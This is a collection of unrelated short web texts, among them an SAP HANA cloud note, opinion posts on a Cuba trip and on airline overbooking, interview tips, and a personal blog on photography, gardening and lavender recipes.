However, you can also get straight to work developing amazing applications for the SAP HANA platform using SAP HANA, express edition as a solution in the cloud, deployed using the SAP Cloud Appliance Library [cal.sap.com].
Depending on how you setup your CAL account, you can have the express edition hosted by Amazon Web Services (AWS) or Microsoft Azure, and use either a 4-core 30.5 GB instance, or a 2-core 15 GB instance.
CAL is using the Fiori user experience, so you can easily access the web site on your phone to manage the instance, for example, to activate or suspend, make a backup or terminate.
For the 4-core 30.5 GB instances, AWS charges me USD 0.45 per hour when active. Try to get a coffee at Starbucks for that!
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US Senator from Illinois Dick Durbin apparently went to Cuba for a short trip to talk to the Cuban government and others about Cuba's oil drilling and Alan Gross.
According to a statement from the Senator's office, "The trip has focused on changes in Cuba—including Cuba's substantial offshore drilling proposal—as well as discussions on improved relations between the US and the island nation".
I was unable to find the statement at Senator Durbin's official website.
The AFP article says that Durbin, the second-highest ranking member of the Senate and a member of the Foreign Relations Committee, met with "Cuban Foreign Minister Bruno Rodriguez; National Assembly speaker Ricardo Alarcon; Archbishop Jamie Ortega; members of the international diplomatic community, the staff of the US Interests Section and Cuban reformers".
WOW. That's a pretty large and diverse group of people.
So, a very high ranking Senator, from President Obama's home state, flies to Cuba unannounced and meets with Rodriguez, Alarcon, Archbishop Ortega, "members of the international diplomatic community" and "Cuban reformers"???
I would LOVE to know more about these "Cuban reformers" that Durbin met with this week and why now? Did President Obama ask him to go? Does oil have anything to do with this?
New campaign to release the Cuban Five
I'm sure it is no coincidence that just yesterday there is now a new "international campaign for the release of the Cuban Five" launched by the International Committee for the Freedom of the Cuban Five that will feature a "postcard and poster campaign" that will be distributed in the United States.
The campaign expects to print 50,000 postcards and 10,000 posters. Also the campaign also hopes to put up billboards, banners and big signs in public spaces and has plans for a number of projects that will include conferences and other marketing opportunities.
What do I think?
I have not followed the Cuban Five case closely but I do get the sense the trials may have been somewhat unfair but all the appeals have been denied. So, I say they are guilty… perhaps the prison sentences were too harsh but the appeals process is done and they are in jail to serve their sentences. Should Obama release the Cuban Five for Alan Gross? Absolutely not.
Is Alan Gross guilty? Yes. He is guilty of stupidity AND crimes against the sovereignty of Cuba. Should the Cuban government release Alan Gross? Yes for humanitarian reasons but Alan Gross will not be free until Fidel Castro allows it or until Fidel Castro dies… and Fidel Castro will not allow it.
Here is a cartoon I had made back when Secretary Clinton tried to get Alan Gross released:
What do you think?
Right on!
Danny Glover isn't helping the Cuban 5 at all with this stupid video.


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There's been a recent fuss in the news about an airline who had overbooked and wanted someone – someone who had paid for a seat and was already sitting on the plane – to leave to make room for one of their staff who needed to travel to wherever the plane was going. OK, but after asking people politely to go on another flight they them dragged a customer out of his seat and forced him off the aircraft.
Of course this made the headlines. If the travelling public had any sense of fair play the airline concerned would shortly be filing for bankruptcy. Who in the right mind would want to travel with a company who treated their fare-paying customers in this way?
Alas, people are so used to the idea that the airline – the big wealthy powerful organisation – is always right, I doubt if their turnover will even decrease by a small amount. In fact it might well increase as newspapers in search of a good story will send their reporters to see if they can get "bounced" and if they are treated well or badly.
Of course it is ridiculous that airlines can overbook in this way. Remember they've already been paid for the seats and stand to lose nothing by reneging on their contract to transport the passenger to the agreed destination.
The remedy I suggest is this:
All long-haul airlines to be required to have at least 5% spare capacity – ie seats that are not booked and are kept available for airline employees and emergencies that do not require to plane to deviate from its planned route or make an emergency landing. I'm thinking of scenarios where a passenger is taken ill with something unpleasant rather than life-threatening. Who wants to sit for several hours next to someone who is vomiting copiously every ten minutes? There should be somewhere segregated to take such a passenger. The same should apply to a very noisy and disruptive child whose parents cannot control his behaviour. The cabin staff can hardly knock the brat out with a strong sedative however much they might like to do so, but they can and should be able to minimise the discomfort to fellow-travellers. This could be done by taking the child and parents to the "spare" seating area where they can at least be separated from the rest of the passengers.
Air liners are notoriously cramped and uncomfortable and I feel an airline who offered more space, not just slightly wider seats but room to move around, even a lounge where passengers could chat and play games and lie down if they wished should attract passengers looking to get there not in the shortest possible time but with the least degree of discomfort. An airline that advertised as "Never overbooked" or "If you've paid for a seat, we guarantee you get a seat" should be first choice for any sensible customer.
Alas I don't think this will happen. Airline passengers are so used to being treated badly and herded around and made to stand in queues that they expect it. Any airline that offered space and comfort to its customers would immediately be suspect.
I can imagine a cartoon – unfortunately I can't draw so have to describe it – where a man is arguing with an airport official "What do you mean I've been bumped off the plane? I'm the pilot!"
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MapHampshire County, Massachusetts "Map edited 1979." Title in lower margin: Hampshire Co., Mass. : N4210.5-W7211.5/23.5x53, 1979. "Compiled from USGS 1:24,000-scale topographic maps dated 1964-1973. Planimetry revised from aerial photographs taken 1975 and other source data." Available also through the Library of Congress Web site as a raster image.
- Contributor: United States. Soil Conservation Service
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Competition for jobs is tough, and when interviewing, many candidates inadvertently wind up shooting themselves in the foot. Long-winded answers, lying, and painting yourself as perfect are ways that many candidates unintentionally tank their chances of being hired at various companies. To help you avoid some of the great ways to hurt your career, here are a few chance killers to avoid when you're interviewing.
1. Answering a different question than what was asked.
There's a good chance that the interviewers are asking the same questions of every candidate. Not answering what is asked will lead your interviewers to think you either can't answer the question or, just as bad, don't want to. The interviewer no doubt thought the question was a good one, and he or she is unlikely to think more of you for not answering it. If you don't understand the question, you can always ask for clarification — or, if you're in a digital interview and no opportunity for clarification is available, state how you're interpreting the question. That way, the interviewer knows that you are trying to answer his or her question, even if you wind up missing the mark.
2. Faking what you don't know.
As hard as it is to say "I don't know" in a job interview, your future employer will think more of you if you admit that you don't know the answer instead of giving a poor or irrelevant one. But bear in mind: if you find yourself constantly answering or thinking "I don't know," you should consider other job opportunities, or do a bit more homework next time. You don't want to show an excess of ignorance about the place where you want to work.
3. Going on… and on… and on….
In digital interviews the question periods are usually timed, so interviewers are looking for relatively short answers. If you find that you're going on and on, stop. Overly long answers can often indicate a lack of self-control, uncertainty about how to answer, or, sometimes, an oversized ego — and those are the last impressions you want to make.
4. Embellishment.
Don't embellish. Don't lie. Just don't do it. The Internet is a great fact-checking tool, making it easy for potential employers to figure out when you're stretching the truth. And once you've demonstrated that you're untrustworthy, you can kiss the job goodbye. You're better off sticking to the facts.
5. What weaknesses?
A worker who's unaware of his or her weaknesses, or who hasn't considered a good answer to such a standard question, isn't going to be an effective worker. Demonstrating a knowledge of how to compensate for your weaknesses can give you an edge on the competition — just make sure that, whatever your weaknesses may be, they aren't fatal for the job. Your best bet in any interview is to be yourself and speak honestly. If you don't get hired, be glad you avoided landing at a place where you wouldn't have fit. After all, jobs are about fit (both in terms of professional skill and work culture), and when you do take a job, it is important to do so at a place that is a match for you.


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I promised I'd share these with you.
A different style for each one:
Once again I have to comment on this gorgeous golden Magnifico #2062 thread. This is one of those threads that looks not so good on the spool but works marvellously with lots of different fabrics.
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Lieutenant Neav Samran was a heavyset Human male officer of the Lorrd Security Forces as of 40 ABY. A brown-haired moustached man approaching middle-ages, Samran was an affiliate of Jedi Nelani Dinn, the Knight stationed on Lorrd, his home planet.
During a visit by Jacen Solo and Ben Skywalker, Samran witnessed a rise in Jedi-related crimes and suicide attempts, including sightings of Force ghosts - including Borth Pazz and Ordith Huarr. Samran and his officers aided the three Jedi in their resolutions, and impounded Brisha Syo and her vessel on the advice on young Skywalker.
- Legacy of the Force: Betrayal (First appearance)
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I Spit On Your Grave 2 will get its world premiere at Frightfest 2013 in London.
A "very special festival cut" overseen by producers will feature at the Empire in Leicester Square on Sunday, August 25.
I Spit On Your Grave 2 features Jemma Dallender, who has appeared in Hollyoaks and Community. The film is a sequel to the 2010 movie starring Sarah Butler, itself a remake of the controversial 1978 original starring Camille Keaton.
Dallender is joined in the cast by Joe Absolom (EastEnders, Long Time Dead) and Mary Stockley.
Steven R Monroe returns as director, and Neil Elman returns as a co-writer, alongside Saw IV's Thomas Fenton.
After its London premiere, the movie will get a cinema release before coming to DVD and Blu-ray on October 7.
Watch the I Spit On Your Grave 2 trailer below:


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via youtube.com
The great things about advertising budgets and big brands is that occasionally the money gets put to capturing something just so stunning it would be wrong not to share. On this occasion I am glad that brand executives help fund something so glorious to share with the world.
And a slightly odd phone that Touchwood? Not sure the Australian market is quite ready for it but I love the use of eco-friendly materials.
Happy start to the week wherever you are! xox


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According to JUNKYARD DOG's owner, Jim Goldberg, "It was a very pleasant & casual trip down the Pacific coast this year, with enough wind and swell to make things fun and interesting, but never too much. Unfortunately, that doesn't offer up a whole lot of crash and burn video footage!
We had a strong start, but dropped the ball when we choose the A6 asym spinnaker over the A4 asym spinnaker as the winds shifted aft. Besides, it being slower than the A4, I think there just wasn't enough wind to carry the chicken chute deep enough. I'm still recovering from my SF Bay induced PTSD where it's never a question of "if" it will blow 30+, but "when". Our area has a way of keeping even the bravest sailors quite humble. We had a brand new 20-minute-old kite evaporate into thin air at the end of last year's season on the Bay when a 40-knot gust pinned us on our ear! Ouch!! There must be some sort of support group in SF Bay for similar sailors suffering from SF Bay induced PTSD, I just need to find them! Races like this are also very good for the soul and confidence!"
Enjoy the J/109 sailing video here on YouTube
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It has truly been a while since I've posted on this blog. A lot falls by the way side when you have a baby. Photography has been one of the last things on my list of to dos. But luckily, I decided to take my Nikon D300 with me when we went camping a few weeks back. Lett's Lake, in Mendocino National Forest, is truly beautiful and I feel like the photos pretty much took themselves. I had some fun switching some images to black and white where I felt the colour was unnecessary. I'm not a landscape photographer; Ansel Adams pretty much did that better than anyone. No, I like looking for form, textures and sometimes the colour. However, there are a few landscape shots just because the landscape was calling out to be recorded. I do not profess to be any good at it. Below are my best shots, landscape photos included. Hope you enjoy.
Tag: photography
Yes, Hello! I'm Still Here!
I've been feeling immense guilt at having not posted in over a month. I was in the midst of a move, and blogging about creativity was far from my mind. That's not to say that I haven't been creative. I'm lucky to have a job that requires creativity on a daily basis, so that even if I am not creating at home, I am creative at work. I have some great "Keep It Simple Genius" recipes I will be posting soon. Right now, I thought I'd share some photos.
Photography is something I've been away from for quite some time. I've been meaning to get back in the saddle but have not been inspired to take the ol' camera out of the saddle bag as it were. Then I was asked to photograph a fundraising event at my local art center. The event is called the Soup-er Bowl ( get it? ) which leads to no end of confusion when said verbally without the benefit of seeing the pun. It's my favourite event because it involves ceramic bowls and soup – LOTS of soup. My sister would approve as she is a soup junky. Basically, you pay $45 and you get to choose a bowl that's been hand-made by one of the students ( my mother-in-law makes amazing bowls!) and then you taste up to 14 different soups from local restaurants and vote on the best one. I treat it like an Olympic sport. Have you ever tried to eat 14 different soups at a sitting? It is tres difficile. But I'm usually up to the challenge – it's called a muumuu and no food all day leading up.
This time around I was simply the photographer. As sad as it was to not participate in the yumminess, I was freed to just focus on getting the shots.
The lighting was tough – mixed lighting (mostly halogen) in a dim, cavernous room at night. My flash unit wasn't working because I had an accident with a leaking battery that killed it. Aargh! So, I had to rely on a steady hand, highest ISO I could use without too much noise and a wide open aperture at f 5.6
Sorry if a bit of photography speak snuck out and made you blank out momentarily (the photographer in me).
I was nervous about doing documentary photography. So much happens at the same time it's hard to know where to be and how to choose the shot. If you lose the moment it's gone. Not to mention that I'm shy about being all up in peoples' grill. It's not really my forte, but I tried to relax and just have fun with it. I even got up on a stool in the middle of the crowd to get better perspective. I was surprised to discover that people just forget that you're there (so much so I had to make sure they didn't knock me from my stool). I can't say that I had a break-out, spectacular, Henri Cartier Bresson-esque photographic moment, but I was pleased. Here are the results:
Update on the Accidental Garden aka Hanging Gardens
So, as I've mentioned before, we didn't put much thought into our garden this year being that we thought we were buying a house and moving out. Regardless of our neglect, the garden thrives on. And to his credit, my hubby waters the place every morning before he goes to work. In regards to actually planting anything, those that were are long gone:
This is the Bok Choi I planted in early spring hoping to have it ready before the heat…unfortunately my timing was again off, and it bolted. I kept it in the bed, hoping that they would have some seeds to harvest…but alack and to my horrified dismay: seed pods with no seeds in them! Can anyone say Monsanto? I blame them for everything!
But on to cheerier, hardier things:
Early summer my hubby discovered a squash plant of unknown origin growing in a corner of one of our raised beds. Actually, he found many, but pulled all but one. This move is something he regretted, because as the plant grew, it formed lovely flowers, but no fruit.
With our non-expert, non-researched, unfounded opinions, we concluded that the plant would be a dud because there were no other plants around it to aid fertilization. So my hubby, unsure of what to do with the many gangly arms the plant was putting out, decided to strap them along the top of our fence. If they weren't going to bear fruit, they were at least going to green up the place and we were going to enjoy their blooms. Well, sure enough, suddenly the splendid thing started to bear fruit…and it turns out to be a most amazing squash (exact type not yet identified) that I had discovered I loved last year at the farmer's market!
Well, if we wanted to stop it from bearing fruit we couldn't. The thing is a monster growing machine of the most impressive kind. Our impromptu "Hanging Garden" is such a success it even reaches into our neighbors yard where it also hangs it's fruit tantalizingly. We are not opposed to sharing, so when I finally met our neighbor the other day, I encouraged her to please pluck and use the squash encroaching on her side of the fence. Not just that side of the fence, but the back-end too:
The trick is to know when to pick them. One must wait until they are a deep red-orange for optimal tastiness, but weight is also a factor and I'm not sure if the stems can sustain such a load for too long. If anyone can hazard a guess as to the type of squash it is, please let me know!
I ventured out into the back field to take these shots, knowing full well I'd pay for it. You see, the back field is empty save for two things: moles and goat head weeds. Both have their disadvantages for gardens…and walking. We seem to have the mole problem taken care of this year, the goat heads are another thing. My hubby has been waging war with them since we moved here. If you're not familiar with them, feel free to wikipedia the awful things. They grow, well…like weeds, and produce the hardest, spikiest seed that when in contact with anything rubber and full of air, aka bike tires, will pop them like no ones business. If one is unfortunate enough to track several of those into the house, and say those awful things actually relinquish their spiky hold on the soles of your shoes, then watch out! My bare foot has come in contact more than once with those nasty buggers hiding in the carpet tufts and has never failed in eliciting a scream of pain followed by a stream of expletives.
When visiting the field, one has to resigns oneself to the fact that there will be a lot of goat head removal before going even near the garden or the house or even drive-way (where our bikes reside). Check out the bottom of my flip-flops from my short photo-op adventure:
More than once, a spike has managed to make its way all the way through the sole to my tender tootsies. Nasty stuff.
Moving on from nastiness, I leave you with a few images of the glorious growth in our Accidental Garden:
(okay, we did plant the tomatoes, but also unplanned 'cuz my boss begged me to take a few off his hands (he had over 60 tomato plants donated to the club and couldn't fit them all)…so kind of accidental if you think about it…)
From the Lavender Laboratory
What to do with 8 oz of Lavender oil and 2 cups of lavender buds?
I don't know. I haven't come close to using all that, but I can show you what I did do to use about 16 drops of that 8 ozs.
Important: Before beginning experiments, decant lavender oil into a dropper bottle; this will make life a lot easier.
Lavender Laboratory Experiment #1 : Lavender Relaxation & Refresher Spray
- Fill clean, dark-coloured, spray bottle with filtered water (can be distilled but not necessary)
- add 4-8 drops lavender oil
- That's it. What? You expected more? If this were rocket science, I would not be doing this my friend.
Shake and spritz liberally. But not too liberally if you need to get things done because it might put you to sleep.
Lavender Laboratory Experiment #2: Foot Scrub
What you need:
- Clean container with screw top lid
- sugar (any kind; the grain and texture is up to you. I used pure cane sugar)
- olive oil
- Approx. 8 drops lavender oil
- pinch of lavender buds
My jar was a small face-cream-sized jar, so I used a 1/4 cup sugar and filled the rest with olive oil and mixed it. You can use another oil like almond or grape for example, but a thick oil is
nice for something as gnarly, dry and cracked as your feet very moisturizing for your deserving tootsies.
Note that lavender buds are optional…they can look a little bit like mouse turds on the floor of your tub after a good foot scrubbing…so if you're not easily spooked (meaning you don't have a tendency to jump into the air landing on the most elevated surface available while screaming "mouse! mouse!"), it's easy enough to wash down the drain and adds a nice touch to the scrub, otherwise just leave it out.
Lavender Laboratory Experiment #3: Lavender Salt
- Any amount kosher salt (in this case about 3 tablespoons)
- An appropriate amount of lavender as to not over or underwhelm the salt (in this case, a pinch)
- Combine.
Note: If you have a sea salt mill, combine coarse sea salt and lavender buds in the mill for a more fragrant salt.
Aye, aye captain, but what to do with lavender salt?
It's amazing combined with lemon and butter(or olive oil) as a rub for chicken destined for the grill…or so I've been told and plan on trying.
Or perhaps on buttered popcorn…yum!
Here's what I did do:
Pan fried asparagus with butter and lavender salt.
Need I say more?
…okay, just a little more:
As you can see, my experiments are none too scientific as I didn't provide any measurements ( okay, I did mention a 'quarter cup' once and 'a pinch' more than that…but how big are your fingers compared to mine? See what I mean?),which is to say, experiment for yourself and see because how am I supposed to know how much scent or flavour you like? Have fun and let me know how your experiments turn out. Got any amazing lavender recipes or home-made cosmetic ideas? Please share!
Lavender Fields Forever
My friend and I recently went to the Lavender Festival in Sonoma
The entrance fee was a mere $5 dollars and well worth it. Vendors were set up all around a lavender field full of the Grosso and Provence varieties.
I sound like I know what I'm talking about but that's only because they also had on-going seminars about lavender and what was growing in that particular field.
Both my friend and I were rather excited and frolicked through the place gaily for several hours. There was food, wine, stuff to buy, wreath making, photo ops and an outdoor spa demonstrating some of the products.
In the end we came away with some pretty neat stuff. We wanted to buy the whole place, but in an attempt to be conservative ended up with a 16 oz bottle of lavender oil and a bag of edible lavender to split and from which we could make all the other products on display there ( or so we hoped in our inspired state).
Did I end up using any of my portion of lavender oil (all 8 oz of it)? That my friends is for another post. For now, just enjoy the lovely view of lavender! Get yourself to a lavender festival if you get the chance- a great way to spend a few hours ( and a few bucks)!
A Thank You To Those Who Read This Blog
If you read this blog it's a) because you know me or b) because you actually like what I post. To both groups I say thank you. It's not easy taking on a blog this unfocused. Most successful blogs I read are on one topic and one topic only. I admire those who can do it. I, however, am an all-over the place girl. My creative energies go in way too many directions to count. This blog is a way of trying to find a common tie…haven't found it yet, except that it comes from me. I'm a "Renaissance Girl" someone told me. I like that.It explains why try as I might, I am unable to channel my energies into one thing. And, you know what? I'm okay with that.
So, thank you to those who embrace the chaos and tune in to whatever I'm up to this time! You are much appreciated (and probably a Renaissance Guy or Gal yourself!)
I leave you with a few recent pics…just because.
Le Jardin c'est Magnifique!
No credit to myself, the garden is looking pretty swell.
It's my hubby who goes out every morning and waters the place. He also fought a valiant battle with earwigs and won. It took a bit to come up with a strategy, but once implemented the earwig populations was decimated. Our beer traps were not working so well- it caught snails and slugs but they weren't the main issue. No, my hubby launched his attack at night, headlamp beaming on the hopelessly exposed earwigs who had unwittingly emerged from their day time hiding places to manger (pronounced "monjay" en Francais) on our romaine. The strategy? Flick as many possible into a bowl of soapy water. The survivors who missed the dip: death by rock. I myself was not out there. I was lying in bed, trying to sleep over the din of rock hitting its target- Crack! Crack! Crack! It must have been satisfying because he was out there for quite some time. He proudly showed me the shriveled and mashed carcasses the next morning.
I won't show you shots of the massacre lest it unsettle you. But here's a lovely escargot, another garden terror. Our method of snail removal is to toss them over our fence into the back field. This guy is blissfully unaware of his upcoming aerial flight.
Our spring onions have been way over grown since fall. We decided to keep them in to see what would happen. After all, isn't this just one grand experiment?
Last month they started flowering, and now check out the seeds:
Unsure of how to harvest, but unwilling to resort to google, I simply picked up a bowl and started massaging the heads until the seeds fell, en mass, into the dish.
My sister had taught me a nifty trick with morning-glory seeds: to separate seeds from the husks, simply blow. Seeds are heavier and will remain in the dish. So I figured, maybe it's the same deal with these seeds. Thankfully, I was right and didn't end up with an empty dish.
So now we've got seeds galore. Not sure what to do with them as it's a little late, perhaps, to be sprouting them for this year. But I feel like such a pioneer when I gather seeds instead of buying them at the store. I feel like, "wow, I am da shit, I keep a self-sustaining garden". The next step would be to actually label the seeds I harvest as it makes for some awful guess-work when the next season comes around. So, yeah, I'm a pioneer but not a very organized one…
The elephant garlic that started to magically grow this year, having skipped the previous year when it was actually planted, had started to grow flowers on top. We caved and googled " when to harvest elephant garlic" and learned that we were really late. For some reason we thought we had to wait until the stalk shriveled and dried. Not so, you're supposed to wait until the bottom leaves brown but the rest is still green. Then stop watering for a few days to allow it to begin to dry and then pull it from the ground. So we scampered out to the garden ( as if a few extra seconds would make us any less late in harvesting the things) and we gingerly pulled them out and found:
Note the little garlics hanging off the roots. No idea what that is exactly- must be its way of propagating itself. I imagine if left in the soil we'd have a whole planter box full of elephant garlic come next spring.
They cleaned up nice. Hopefully they will "set", that is, dry nicely. Maybe we don't even have to really worry about that since we only have two and I plan on consuming those bad guys quite soon.
Our green beans are growing..or should I say green bean singular. I think I will need to buy a miniature frying pan, because at this rate, that's what I'll be serving up, one green bean at a time. I can't imagine that we will ever have a handful all at once…but you never know.
I leave you with a few more shots of the garden and its bounty!


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Party: Polish Community
The Polish Community in Tasmania began when a sudden influx of some 1500 Poles arrived after 1947, a tiny fraction of the several million Poles worldwide who chose exile rather than life in a post-war Poland under Russian communist domination. The first arrivals were ex-servicemen (mainly 'Rats of Tobruk') who arrived in uniform, and were later joined by Displaced Persons. Australia was keen to boost its population through migration while assisting those who had suffered through war. Tasmania needed construction workers for its rapidly developing hydro-electric schemes, and sought labourers through a London-based Polish newspaper. The primitive living conditions, harsh climate and isolation of the camps at Tarraleah, Butlers Gorge, Bronte Park, Waddamana and Liawenee were a stark contrast to Europe's beautiful medieval cities. However, the men formed an orchestra and choir, played soccer and tennis, celebrated Mass in community halls and formed a Rats of Tobruk Association.
By late 1949, several hundred Poles had completed their two-year contracts, and put down roots by investing in real estate. Some married local women, but 'romance by correspondence' with Polish pen-friends was more common, and a second generation was rapidly produced. Two Polish priests travelled between the various communities, providing the sacraments and pastoral care.
Formed in 1950, the Polish Association has since been the focus for many social and cultural activities including the Polish Club, primary and secondary schools, folk dancing, Scouts, the White Eagle Sports Club and radio broadcasts. After Poland became independent in 1989, the community has become less politicised. Its priorities are to maintain and transmit the culture to a third generation, and provide welfare support for elderly Poles.
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